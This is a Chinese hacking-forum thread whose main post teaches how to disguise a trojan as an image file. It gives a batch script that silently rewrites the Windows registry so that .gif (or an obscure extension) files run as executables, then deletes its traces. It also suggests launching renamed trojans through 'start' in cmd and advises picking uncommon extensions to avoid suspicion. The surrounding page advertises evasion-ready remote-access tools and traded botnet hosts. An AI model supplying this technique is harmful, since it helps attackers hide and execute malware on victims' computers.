开启邀请码注册中,禁止灌水!发现一次永久禁言

墨客安全网

 找回密码
 立即注册

墨客安全网-新手入门指南 常见问题及帮助 | 做任务赚墨币币 新人报道 | 悬赏问答| 墨币充值| 帖子举报

墨客安全网-论坛精华合集 墨客安全网 -精华合集 之 速成之路 原创精品 | 加入墨客Vip | Vip工具| Vip教程

墨客安全网-进阶技术学习区 软件/工具| 社工专区 | 入侵检测| 技术文章 动画教程 | 编程交流| 免杀更新 | 程序源码

[悬赏公告] - 严查灌水,打造一个无水论坛,从即日起.请大家互相监督,发现恶意灌水的,请发贴举报,核实后会给予5-10的墨币奖励。
[官方公告] 从今日起所有会员发布工具必须到审核板块进行审核,如有违反永久禁言处理!
 [招聘招聘]-招聘各方面给力版主,要求每日发帖不少于3贴,每天在线时间6个小时以上,具体福利和待遇联系TG客服或者在线管理员
[官方公告]1.发现网盘下载地址失效!可以发贴举报 审核证实后给予奖励10-20墨币。2.即日起!不管是谁发贴!都不能带QQ群 已及个人QQ。个人网站,发现后严格处理。[官方业务]-加入墨客安全网Vip,圆你日抓千鸡梦,各种精品教程,免杀远控,压力测试等你拿,期待各位会员的加入,即可享受众多福利!
【官方公告】论坛所有广告均为商业行为,需要交易的请尽量走担保程序,所有因广告产生的任何纠纷请私下解决【站外广告】大量收色刷!刷单肉鸡!带飞机肉鸡!寻内网横向技术!懂的来,小白勿扰!长期包养色刷,刷单,带飞机海外盘国内盘灰产肉鸡稳定鸡商
联系飞机:@seeok91
【官方业务】精品广告位招租,需要请联系官方TG客服【官方业务】精品广告位招租,需要请联系官方TG客服【官方业务】精品广告位招租,需要请联系官方TG客服
查看: 1144|回复: 2

[千G免费教程] 另类方式运行木马,高度隐藏!

[复制链接]
  • TA的每日心情
    开心
    2018-4-22 08:03
  • 签到天数: 51 天

    连续签到: 2 天

    [LV.5]常住居民I

    47

    主题

    938

    回帖

    6300

    积分

    UID
    60
    威望
    1621 (点)
    主题
    47 (帖)
    精华
    4 (帖)
    贡献
    108  (次)
    墨币
    1945  (枚)
    活跃
    1000  (点)
    担保币
    0  (枚)
    注册时间
    2015-7-5
    最后登录
    2018-6-7

    最佳新人热心会员灌水之王突出贡献荣誉管理论坛元老兄弟义气音乐大师

    发表于 2016-5-7 02:19:57 | 显示全部楼层 |阅读模式
    任意文件当做木马来运行

    你见过gif、jpg、jpeg、bmp等后缀文件当做木马来运行吗?一个小技巧可以把任意后缀文件当做EXE程序文件来运行。
    ps:最好不要改成常用的文件类型,因为这样可能引起怀疑,最好改成不常用的文件后缀,比如:.Tgl,frc等
    这样不影响原来系统功能,又能深藏起来
    1. 更改exe为gif:(这里你可以把Exe改成其他,如:TGl)

    2. 复制内容到剪贴板 程序代码@echo off

    3. color 1A

    4. ECHO windows Registry Editor Version 5.00>gif.reg

    5. ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg

    6. ECHO “Content Type”=“application/x-msdownload”>>gif.reg

    7. ECHO @=“exefile”>>gif.reg

    8. regedit /s gif.reg>nul 2>nul

    9. del /s gif.reg>nul 2>nul



    10. 这个代码保存成。BAT的文件。

    11. 先运行这个BAT文件系统会把。GIF文件来当做应用程序来运行

    12. 当然我们的木马后缀要换成。GIF 的,嘻嘻。

    13. 恢复gif默认:

    14. 复制内容到剪贴板 程序代码@echo off

    15. color 1A

    16. ECHO Windows Registry Editor Version 5.00>gif.reg

    17. ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg

    18. ECHO “Content Type”=“image/gif”>>gif.reg

    19. ECHO @=“giffile”>>gif.reg

    20. regedit /s gif.reg>nul 2>nul

    21. del /s gif.reg>nul 2>nul

    22. 这个代码保存成。BAT的文件。

    23. 另外,根据以前看到过的一篇文章 CMD也闹鬼,一文,我们还可以在批处理里面运行这类文件病毒,且不用上面的步骤,直接把你的EXE改成其他文件类型,然后面CMD下面,运行:
    24. Start 木马.GPL
    25. 同样,也可以运行你的木马。是不是更简单?
    复制代码
    新人必看帖,如何快速赚取墨币,了解墨客安全网论坛版规,等等...( 点我查看

    如果你在论坛悬赏问答求助问题,并且已经从坛友或者管理的回复中解决了问题,请在帖子内点击(已解决)

    发帖求助前要善用 论坛搜索 功能,如果搜不到可以试试,论坛顶上的 百度站内搜索 - 纵横站内搜索 那里可能会有你要找的答案;

    如果发现论坛有灌水帖、下载地址失效帖、后门帖、广告帖、工具不能正常使用、都可以去 举报版块 发帖举报,核实给予退回墨币+额外的墨币奖励哦;

    该用户从未签到

    50

    主题

    884

    回帖

    5417

    积分

    UID
    1362
    威望
    1035 (点)
    主题
    50 (帖)
    精华
    0 (帖)
    贡献
    105  (次)
    墨币
    2308  (枚)
    活跃
    895  (点)
    担保币
    0  (枚)
    注册时间
    2015-11-1
    最后登录
    2018-5-17
    发表于 2016-6-15 10:54:22 | 显示全部楼层
    新人必看帖,如何快速赚取墨币,了解墨客安全网论坛版规,等等...( 点我查看

    如果你在论坛悬赏问答求助问题,并且已经从坛友或者管理的回复中解决了问题,请在帖子内点击(已解决)

    发帖求助前要善用 论坛搜索 功能,如果搜不到可以试试,论坛顶上的 百度站内搜索 - 纵横站内搜索 那里可能会有你要找的答案;

    如果发现论坛有灌水帖、下载地址失效帖、后门帖、广告帖、工具不能正常使用、都可以去 举报版块 发帖举报,核实给予退回墨币+额外的墨币奖励哦;

    该用户从未签到

    10

    主题

    149

    回帖

    1191

    积分

    UID
    8312
    威望
    321 (点)
    主题
    10 (帖)
    精华
    0 (帖)
    贡献
    9  (次)
    墨币
    380  (枚)
    活跃
    129  (点)
    担保币
    0  (枚)
    注册时间
    2016-6-23
    最后登录
    2017-7-6
    QQ
    发表于 2016-8-13 12:09:14 | 显示全部楼层
    新人必看帖,如何快速赚取墨币,了解墨客安全网论坛版规,等等...( 点我查看

    如果你在论坛悬赏问答求助问题,并且已经从坛友或者管理的回复中解决了问题,请在帖子内点击(已解决)

    发帖求助前要善用 论坛搜索 功能,如果搜不到可以试试,论坛顶上的 百度站内搜索 - 纵横站内搜索 那里可能会有你要找的答案;

    如果发现论坛有灌水帖、下载地址失效帖、后门帖、广告帖、工具不能正常使用、都可以去 举报版块 发帖举报,核实给予退回墨币+额外的墨币奖励哦;
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    1、请认真发帖,禁止回复纯表情,纯数字等无意义的内容!帖子内容不要太简单!
    2、提倡文明上网,净化网络环境!抵制低俗不良违法有害信息。
    3、每个贴内连续回复请勿多余3贴,每个版面回复请勿多余10贴!
    4、如果你对主帖作者的帖子不屑一顾的话,请勿回帖。谢谢合作!

    关闭

    站长推荐上一条 /1 下一条